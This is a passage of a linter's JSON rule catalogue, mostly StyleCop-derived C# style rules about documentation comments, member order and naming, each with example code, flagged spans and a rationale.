        "input": "using System;\n/// <summary>Text.</summary>\npublic class PlainComments\n{\n    /// plain text on a field\n    public int Field;\n    /// first line\n    /// second line\n    public void Attached() { }\n    /// <summary>Good.</summary>\n    /// extra text after the summary\n    public void Mixed() { }\n    void Body()\n    {\n        /// plain in a body\n        int j = 0;\n\n        ///\n        int k = 0;\n\n        /// <summary>Not plain.</summary>\n        int l = 0;\n    }\n    /** plain block */\n    public int Block;\n    //// four slashes\n    public int Four;\n    int last; ///trailing\n}\n/// <summary>Text.</summary>\npublic class Empties\n{\n    /// <summary>Text.</summary>\n    /// <remarks></remarks>\n    /// <example />\n    /// <exception cref=\"System.Exception\"></exception>\n    /// <exception cref=\"System.ArgumentException\">Thrown.</exception>\n    /// <permission cref=\"System.Security.PermissionSet\" />\n    /// <remarks>\n    /// </remarks>\n    /// <remarks>Text.</remarks>\n    /// <returns></returns>\n    public int Elements() => 0;\n    /// <summary>\n    /// Text.\n    /// <remarks></remarks>\n    /// </summary>\n    public void Nested() { }\n    /// <remarks></remarks>\n    int Hidden;\n    /// <remarks><see cref=\"Hidden\"/></remarks>\n    public int Cref;\n    /// <remarks><!-- comment --></remarks>\n    public int Comment;\n}\n",
        "language": "csharp",
        "other_lines": [
          5,
          7,
          8,
          15,
          18,
          28,
          41,
          51
        ],
        "spans": [
          {
            "column": 9,
            "length": 19,
            "line": 34
          },
          {
            "column": 9,
            "length": 11,
            "line": 35
          },
          {
            "column": 9,
            "length": 47,
            "line": 36
          },
          {
            "column": 9,
            "length": 51,
            "line": 38
          },
          {
            "column": 9,
            "length": 1,
            "line": 39
          },
          {
            "column": 9,
            "length": 19,
            "line": 46
          },
          {
            "column": 9,
            "length": 19,
            "line": 49
          },
          {
            "column": 9,
            "length": 35,
            "line": 53
          }
        ]
      },
      "fix": null,
      "id": "doc-text-not-empty",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1627",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1627.md"
        }
      ],
      "why": "An empty element is shown as a heading with nothing below it in the generated documentation, so it adds noise and hides that the text was never written.\n\nTo fix, write the text or delete the element."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<typeparam>` without a `name` attribute, or with an empty one, in the documentation of a generic class, struct, interface, method or delegate. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Threading.Tasks;\n/// <summary>Generic.</summary>\n/// <typeparam>No name.</typeparam>\n/// <typeparam name=\"\">Empty name.</typeparam>\n/// <typeparam name=\"T\"></typeparam>\n/// <typeparam name=\"U\" />\n/// <typeparam name=\"V\">Good.</typeparam>\npublic class Generic<T, U, V>\n{\n    /// <summary>Method.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    /// <typeparam>No name.</typeparam>\n    public void Method<X>() { }\n    /// <summary>Method.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    /// <inheritdoc />\n    public void Inherited<X>() { }\n    /// <summary>Not generic.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    public void NotGeneric() { }\n}\n/// <summary>Struct.</summary>\n/// <typeparam name=\"T\"></typeparam>\npublic struct GenericStruct<T> { }\n/// <summary>Interface.</summary>\n/// <typeparam>T</typeparam>\npublic interface IGeneric<T> { }\n/// <summary>Delegate.</summary>\n/// <typeparam name=\"T\"></typeparam>\n/// <typeparam name=\"U\" />\npublic delegate void GenericCallback<T, U>();\n/// <summary>Partial.</summary>\n/// <typeparam name=\"T\">The T.</typeparam>\npublic partial class PartialGeneric<T, U> { }\n/// <summary>Partial.</summary>\npublic partial class PartialGenericNone<T> { }\n/// <summary>Partial.</summary>\n/// <typeparam name=\"U\">The U.</typeparam>\ninternal partial struct PartialGenericStruct<T, U> { }\n/// <summary>Partial.</summary>\n/// <typeparam name=\"T\">The T.</typeparam>\n/// <typeparam name=\"U\">The U.</typeparam>\npublic partial class PartialGenericGood<T, U> { }\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialGenericNoSummary<T> { }\n/// <inheritdoc />\npublic partial class PartialGenericInherited<T> { }\n/// <summary>Partial, no generics.</summary>\npublic partial class PartialPlain { }\n",
        "language": "csharp",
        "other_lines": [
          5,
          6,
          11,
          23,
          29,
          30,
          34,
          36,
          39
        ],
        "spans": [
          {
            "column": 5,
            "length": 31,
            "line": 3
          },
          {
            "column": 22,
            "length": 1,
            "line": 4
          },
          {
            "column": 9,
            "length": 31,
            "line": 12
          },
          {
            "column": 5,
            "length": 24,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "doc-typeparam-has-name",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1621",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1621.md"
        }
      ],
      "why": "The `name` connects the text to a type parameter. Without it the tag is not shown with its parameter.\n\nTo fix, add `name=\"T\"`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<typeparam>` without text (`<typeparam name=\"T\" />` counts as without text), in the documentation of a generic class, struct, interface, method or delegate. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Threading.Tasks;\n/// <summary>Generic.</summary>\n/// <typeparam>No name.</typeparam>\n/// <typeparam name=\"\">Empty name.</typeparam>\n/// <typeparam name=\"T\"></typeparam>\n/// <typeparam name=\"U\" />\n/// <typeparam name=\"V\">Good.</typeparam>\npublic class Generic<T, U, V>\n{\n    /// <summary>Method.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    /// <typeparam>No name.</typeparam>\n    public void Method<X>() { }\n    /// <summary>Method.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    /// <inheritdoc />\n    public void Inherited<X>() { }\n    /// <summary>Not generic.</summary>\n    /// <typeparam name=\"X\"></typeparam>\n    public void NotGeneric() { }\n}\n/// <summary>Struct.</summary>\n/// <typeparam name=\"T\"></typeparam>\npublic struct GenericStruct<T> { }\n/// <summary>Interface.</summary>\n/// <typeparam>T</typeparam>\npublic interface IGeneric<T> { }\n/// <summary>Delegate.</summary>\n/// <typeparam name=\"T\"></typeparam>\n/// <typeparam name=\"U\" />\npublic delegate void GenericCallback<T, U>();\n/// <summary>Partial.</summary>\n/// <typeparam name=\"T\">The T.</typeparam>\npublic partial class PartialGeneric<T, U> { }\n/// <summary>Partial.</summary>\npublic partial class PartialGenericNone<T> { }\n/// <summary>Partial.</summary>\n/// <typeparam name=\"U\">The U.</typeparam>\ninternal partial struct PartialGenericStruct<T, U> { }\n/// <summary>Partial.</summary>\n/// <typeparam name=\"T\">The T.</typeparam>\n/// <typeparam name=\"U\">The U.</typeparam>\npublic partial class PartialGenericGood<T, U> { }\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialGenericNoSummary<T> { }\n/// <inheritdoc />\npublic partial class PartialGenericInherited<T> { }\n/// <summary>Partial, no generics.</summary>\npublic partial class PartialPlain { }\n",
        "language": "csharp",
        "other_lines": [
          3,
          4,
          12,
          26,
          34,
          36,
          39
        ],
        "spans": [
          {
            "column": 5,
            "length": 32,
            "line": 5
          },
          {
            "column": 5,
            "length": 22,
            "line": 6
          },
          {
            "column": 9,
            "length": 32,
            "line": 11
          },
          {
            "column": 5,
            "length": 32,
            "line": 23
          },
          {
            "column": 5,
            "length": 32,
            "line": 29
          },
          {
            "column": 5,
            "length": 22,
            "line": 30
          }
        ]
      },
      "fix": null,
      "id": "doc-typeparam-has-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1622",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1622.md"
        }
      ],
      "why": "A type parameter with an empty description looks documented and says nothing about what `T` is for, and it stops tools from reporting the missing text.\n\nTo fix, describe the type parameter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a property's `<value>` without text (`<value></value>`; `<value />` is not reported). A comment with `<inheritdoc />` is not reported. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Threading.Tasks;\n/// <summary>Tags.</summary>\npublic class Values\n{\n    /// <summary>Gets the value.</summary>\n    /// <value></value>\n    public int EmptyValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value />\n    public int SelfClosingValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value>The value.</value>\n    public int GoodValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value>\n    /// </value>\n    public int BlankValue { get; }\n    /// <summary>Gets the value.</summary>\n    /// <value></value>\n    /// <inheritdoc />\n    public int InheritedValue { get; }\n    /// <summary>The field.</summary>\n    /// <value></value>\n    public int Field;\n}\n/// <summary>Parameters.</summary>\npublic class Parameters\n{\n    /// <summary>Sets.</summary>\n    /// <param>No name.</param>\n    /// <param name=\"\">Empty name.</param>\n    /// <param name=\"a\"></param>\n    /// <param name=\"b\" />\n    /// <param name=\"c\">Good.</param>\n    /// <param name=\"d\">\n    /// </param>\n    public void Params(int a, int b, int c, int d) { }\n    /// <summary>Sets.</summary>\n    /// <param name=\"a\"></param>\n    /// <inheritdoc />\n    public void Inherited(int a) { }\n    /// <summary>Sets.</summary>\n    /// <param name=\"a\"></param>\n    private void PrivateParams(int a) { }\n    /// <summary>Delegate.</summary>\n    /// <param name=\"a\"></param>\n    /// <param>No name.</param>\n    public delegate void Callback(int a);\n    /// <summary>Constructor.</summary>\n    /// <param name=\"a\"></param>\n    public Parameters(int a) { }\n    /// <summary>Indexer.</summary>\n    /// <param name=\"a\"></param>\n    /// <param>No name.</param>\n    public int this[int a] => a;\n}\n",
        "language": "csharp",
        "other_lines": [
          30,
          31,
          32,
          33,
          35,
          43,
          46,
          47,
          50,
          53,
          54
        ],
        "spans": [
          {
            "column": 16,
            "length": 10,
            "line": 7
          },
          {
            "column": 16,
            "length": 10,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "doc-value-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1610",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1610.md"
        }
      ],
      "why": "An empty `<value>` is a placeholder: it satisfies a check that the tag exists and gives the reader nothing about what the property holds.\n\nTo fix, describe the value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a field whose name begins with an underscore. The option `fields` is the expression a field name must match.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class C\n{\n    private int _count;\n    private int count;\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 17,
            "length": 6,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "field-name-no-underscore",
      "languages": [
        "csharp"
      ],
      "options": [
        {
          "default": "^[^_]",
          "description": "Regular expression the name of a field must match; empty: not checked.",
          "name": "fields",
          "type": "string"
        }
      ],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1309",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1309.md"
        }
      ],
      "why": "The convention of many style guides names fields in camel case without a prefix and tells them from locals by writing `this.`. A leading underscore is the other convention; a project picks one, and the rule enforces it.\n\nTo fix, rename the field."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a file whose name, up to its first dot and ignoring case, is not the name of the first type in the file; a generic type may also be written `Name{T,U}`. Not checked when that type is partial. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class Orders { }\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 6,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "file-name-matches-type",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1649",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1649.md"
        }
      ],
      "why": "A file named after its type is found by the name from the file tree, from a stack trace and from a search. A file whose name says something else sends the reader to the wrong place.\n\nTo fix, rename the file or the type."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `<inheritdoc />` without `cref` on a type that has no base list, or on a member that neither overrides nor implements anything. A constructor whose signature matches a base constructor is not reported. No fix.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          4,
          6,
          10,
          11,
          12,
          13,
          14,
          15,
          16,
          18
        ],
        "spans": [
          {
            "column": 9,
            "length": 13,
            "line": 20
          }
        ]
      },
      "fix": null,
      "id": "inheritdoc-on-inheriting-member",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1648",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1648.md"
        }
      ],
      "why": "`inheritdoc` takes the documentation from what the member inherits. If it inherits nothing, the tool has no text to copy, and the member is shown without documentation although the comment looks complete.\n\nTo fix, write the documentation, or name the source with `cref`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a member that is out of order compared with the member before it, in the order of the `element_order` option: the kind (fields, constructors, finalizers, delegates, events, enums, interfaces, properties, indexers, operators, methods, structs, classes; in a namespace or file: namespaces, delegates, enums, interfaces, structs, classes), the access (public, internal, protected internal, protected, private protected, private), constants before other fields, static before instance members, readonly fields before the others. A trait counts only between members that agree on the traits listed before it. No fix: moving members would have to take their comments and directives along.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n void M() { }\n private int b;\n public int a;\n const int C = 1;\n static int s;\n int i;\n readonly int r;\n static readonly int sr;\n public A() { }\n}\nclass B { }\nenum E { }\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 14,
            "length": 1,
            "line": 3
          },
          {
            "column": 13,
            "length": 1,
            "line": 4
          },
          {
            "column": 15,
            "length": 1,
            "line": 8
          },
          {
            "column": 22,
            "length": 2,
            "line": 9
          },
          {
            "column": 6,
            "length": 1,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "member-order",
      "languages": [
        "csharp"
      ],
      "options": [
        {
          "choices": [
            "kind",
            "accessibility",
            "constant",
            "static",
            "readonly"
          ],
          "default": [
            "kind",
            "accessibility",
            "constant",
            "static",
            "readonly"
          ],
          "description": "The traits that decide the order, most important first. A trait that is left out is not checked.",
          "name": "element_order",
          "type": "list"
        }
      ],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1201",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1201.md"
        },
        {
          "id": "SA1202",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1202.md"
        },
        {
          "id": "SA1203",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1203.md"
        },
        {
          "id": "SA1204",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1204.md"
        },
        {
          "id": "SA1214",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1214.md"
        }
      ],
      "why": "A fixed order lets a reader find a member without reading the class: fields at the top, constructors next, then the rest by visibility. Different files of a project then look the same.\n\nTo fix, move the member to its place."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a type, member, field or enum item that needs documentation and has no `///` comment before it: public, protected or internal ones, in types that are too. Members of an interface, explicit interface implementations and enum items count as public. Partial declarations are not reported, and private members are not either. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "// Package a is the test package.\npackage a\n\nfunc Run() {}\n\n// Detached comment.\n\nfunc Detached() {}\n\n//go:noinline\nfunc Pragma() {}\n\n// Deprecated: use Run.\nfunc Old() {}\n\ntype T struct{}\n\nfunc (T) Method() {}\n\nfunc (T) String() string { return \"\" }\n\ntype hidden struct{}\n\nfunc (hidden) Method() {}\n\nfunc unexported() {}\n\nconst A, b = 1, 2\n\nconst (\n    C = 1\n    D = 2\n)\n\n// Doc of the group.\nvar (\n    V = 1\n    W = 2\n)\n\nvar (\n    X = 1\n    // Y has a comment.\n    Y = 2\n    Z = 3\n)\n\ntype S []int\n\nfunc (s S) Len() int { return 0 }\nfunc (s S) Less(i, j int) bool { return false }\nfunc (s S) Swap(i, j int) {}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 6,
            "length": 3,
            "line": 4
          },
          {
            "column": 6,
            "length": 8,
            "line": 8
          },
          {
            "column": 6,
            "length": 6,
            "line": 11
          },
          {
            "column": 6,
            "length": 3,
            "line": 14
          },
          {
            "column": 6,
            "length": 1,
            "line": 16
          },
          {
            "column": 10,
            "length": 6,
            "line": 18
          },
          {
            "column": 7,
            "length": 1,
            "line": 28
          },
          {
            "column": 5,
            "length": 1,
            "line": 31
          },
          {
            "column": 5,
            "length": 1,
            "line": 42
          },
          {
            "column": 6,
            "length": 1,
            "line": 48
          }
        ]
      },
      "fix": null,
      "id": "missing-doc-comment",
      "languages": [
        "csharp",
        "go",
        "java"
      ],
      "options": [],
      "presets": [
        "go/revive",
        "java/google",
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "MissingJavadocMethod",
          "note": "Only methods and constructors, no minimum line count.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/javadoc/missingjavadocmethod.html#MissingJavadocMethod"
        },
        {
          "id": "MissingJavadocType",
          "note": "Only types, no scope option.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/javadoc/missingjavadoctype.html#MissingJavadocType"
        },
        {
          "id": "exported",
          "note": "No stuttering check (a name that starts with the package name), no own-declaration check for `var a, B`; a method that is sortable through methods in another file of the package is reported",
          "partial": true,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#exported"
        },
        {
          "id": "SA1600",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1600.md"
        },
        {
          "id": "SA1602",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1602.md"
        }
      ],
      "why": "Documentation of the public interface is what the users of a library read, in the IDE and in the generated reference. An element without a comment shows only its name and signature, and the caller has to read the code to learn what it does and what it expects.\n\nTo fix, add a comment that says what the element is for."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a comment between the head of an `if`, `else`, `while`, `do`, `for`, `foreach`, `lock`, `try`, `catch`, `finally`, `switch`, `checked` or `unchecked` and its `{`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A { void F(bool x, int y) {\n ;\n if (x); else { }\n while (x) /* c */ { }\n switch (y) { case 1: ; break; default: ; }\n L: ;\n int z = 1;;\n} }\n",
        "language": "csharp",
        "other_lines": [
          3
        ],
        "spans": [
          {
            "column": 12,
            "length": 7,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-comment-before-block",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1108",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1108.md"
        }
      ],
      "why": "A comment there is attached to neither the head nor the block, and a reader may take it for a part of the condition. It is also easy to separate from its statement when the code is moved.\n\nTo fix, put the comment inside the block or above the statement."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a control character (below U+0020) in the constant string given to `new Regex(...)` and the static methods of `Regex`, written raw or as an escape.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  void f(String s) {\n    Pattern.compile(\"\\u001f\");\n    Pattern.compile(\"a  b\");\n    Pattern.matches(\"[a\" + \"\\u0301]\", s);\n    Pattern.compile(\"a b\");\n    Other.compile(\"a  b\");\n    Pattern.compile(s);\n  }\n}\n",
        "language": "java",
        "other_lines": [
          4,
          5
        ],
        "spans": [
          {
            "column": 5,
            "length": 25,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-control-regex",
      "languages": [
        "csharp",
        "java",
        "js",
        "php",
        "python"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-control-regex",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-control-regex"
        }
      ],
      "why": "A control character in a pattern is almost never intended: it is invisible in the source, and the pattern then matches a character that the reader cannot see. It is usually the result of a pasted character or of an escape that was written for something else.\n\nTo fix, remove the character, or write the one that is meant (`\\t`, `\\n`, `\\r`) with its letter escape."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<summary>` that starts with the text Visual Studio generates, \"Summary description for ...\". A comment with `<inheritdoc />` is not reported. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/// <summary></summary>\npublic class EmptySummary\n{\n    /// <summary>\n    /// </summary>\n    public void Blank() { }\n    /// <summary />\n    public void SelfClosing() { }\n    /// <summary><see cref=\"Blank\"/></summary>\n    public void OnlyCref() { }\n    /// <summary>\n    /// <!-- comment -->\n    /// </summary>\n    public void OnlyComment() { }\n    /// <summary>   </summary>\n    public int Field;\n    /// <summary></summary>\n    public int First, Second;\n}\n/// <summary>Summary description for Defaults.</summary>\npublic class Defaults\n{\n    /// <summary>\n    /// Summary description for Method.\n    /// </summary>\n    public void Method() { }\n    /// <summary><see cref=\"Method\"/> Summary description for x</summary>\n    public void NotFirst() { }\n    /// <summary>summary description for lower case</summary>\n    public void LowerCase() { }\n    /// <summary>\n    ///   Summary description for indented.\n    /// </summary>\n    public int Property { get; }\n    /// <summary>Summary description for.</summary>\n    /// <inheritdoc />\n    public override string ToString() => \"\";\n}\n/// <remarks>Partial without summary.</remarks>\npublic partial class PartialNoSummary { }\n/// <summary></summary>\npublic partial class PartialEmptySummary { }\n/// <content>Content.</content>\npublic partial class PartialContent { }\n/// <content></content>\npublic partial class PartialEmptyContent { }\n/// <inheritdoc />\npublic partial class PartialInherited { }\n/// <summary>Summary description for PartialDefault.</summary>\npublic partial class PartialDefault { }\n/// <remarks>Internal partial.</remarks>\ninternal partial struct PartialInternal { }\npublic partial class PartialUndocumented { }\ninternal partial struct PartialUndocumentedInternal { }\n",
        "language": "csharp",
        "other_lines": [
          2,
          6,
          14,
          16,
          18,
          40,
          42,
          46,
          52,
          53,
          54
        ],
        "spans": [
          {
            "column": 5,
            "length": 52,
            "line": 20
          },
          {
            "column": 9,
            "length": 1,
            "line": 23
          },
          {
            "column": 9,
            "length": 1,
            "line": 31
          },
          {
            "column": 5,
            "length": 58,
            "line": 49
          }
        ]
      },
      "fix": null,
      "id": "no-default-summary",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1608",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1608.md"
        }
      ],
      "why": "The text is a placeholder that the tool inserts. It stays in the generated documentation as a sentence that says nothing about the element.\n\nTo fix, write the real summary."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `new S()` of a value type that has an implicit parameterless constructor and no initializer: write `default(S)`, or the named constant where there is one (`Guid.Empty`, `CancellationToken.None`, `IntPtr.Zero`, the enum member with value 0). No fix for a target-typed `new()`.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          4,
          6,
          10,
          11,
          12,
          15,
          16,
          18,
          20
        ],
        "spans": [
          {
            "column": 15,
            "length": 7,
            "line": 13
          },
          {
            "column": 15,
            "length": 14,
            "line": 14
          }
        ]
      },
      "fix": "safe",
      "id": "no-default-value-type-constructor",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1129",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1129.md"
        }
      ],
      "why": "`new S()` of such a struct is the zero value, the same as `default(S)`, but it reads as a call that does something. `default` states that the value is the zero value, and a named constant (`Guid.Empty`) says what that value means.\n\nTo fix, write `default(S)` or the constant."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<placeholder>` element in a documentation comment. No fix.",
      "example": {
        "config": null,
        "fixed": "using System;\n/// <summary>Text.</summary>\npublic class Placeholders\n{\n    /// <summary>\n    /// <placeholder>todo</placeholder>\n    /// <placeholder />\n    /// </summary>\n    public void Placeholder() { }\n    /// <placeholder>todo.</placeholder>\n    private int Hidden;\n    /// <summary>\n    /// <para><placeholder>nested</placeholder></para>\n    /// </summary>\n    public int Nested;\n}\n",
        "input": "using System;\n/// <summary>Text.</summary>\npublic class Placeholders\n{\n    /// <summary>\n    /// <placeholder>todo</placeholder>\n    /// <placeholder />\n    /// </summary>\n    public void Placeholder() { }\n    /// <placeholder>todo</placeholder>\n    private int Hidden;\n    /// <summary>\n    /// <para><placeholder>nested</placeholder></para>\n    /// </summary>\n    public int Nested;\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 31,
            "line": 6
          },
          {
            "column": 9,
            "length": 15,
            "line": 7
          },
          {
            "column": 9,
            "length": 31,
            "line": 10
          },
          {
            "column": 15,
            "length": 33,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "no-doc-placeholder",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1651",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1651.md"
        }
      ],
      "why": "`<placeholder>` marks text that is to be filled in later, so a comment that has one is not finished.\n\nTo fix, write the text."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `///` comment that holds only text and no XML element: a plain comment written with documentation slashes. The fix writes `//`, unless the comment documents a declaration (it would remove documentation).",
      "example": {
        "config": null,
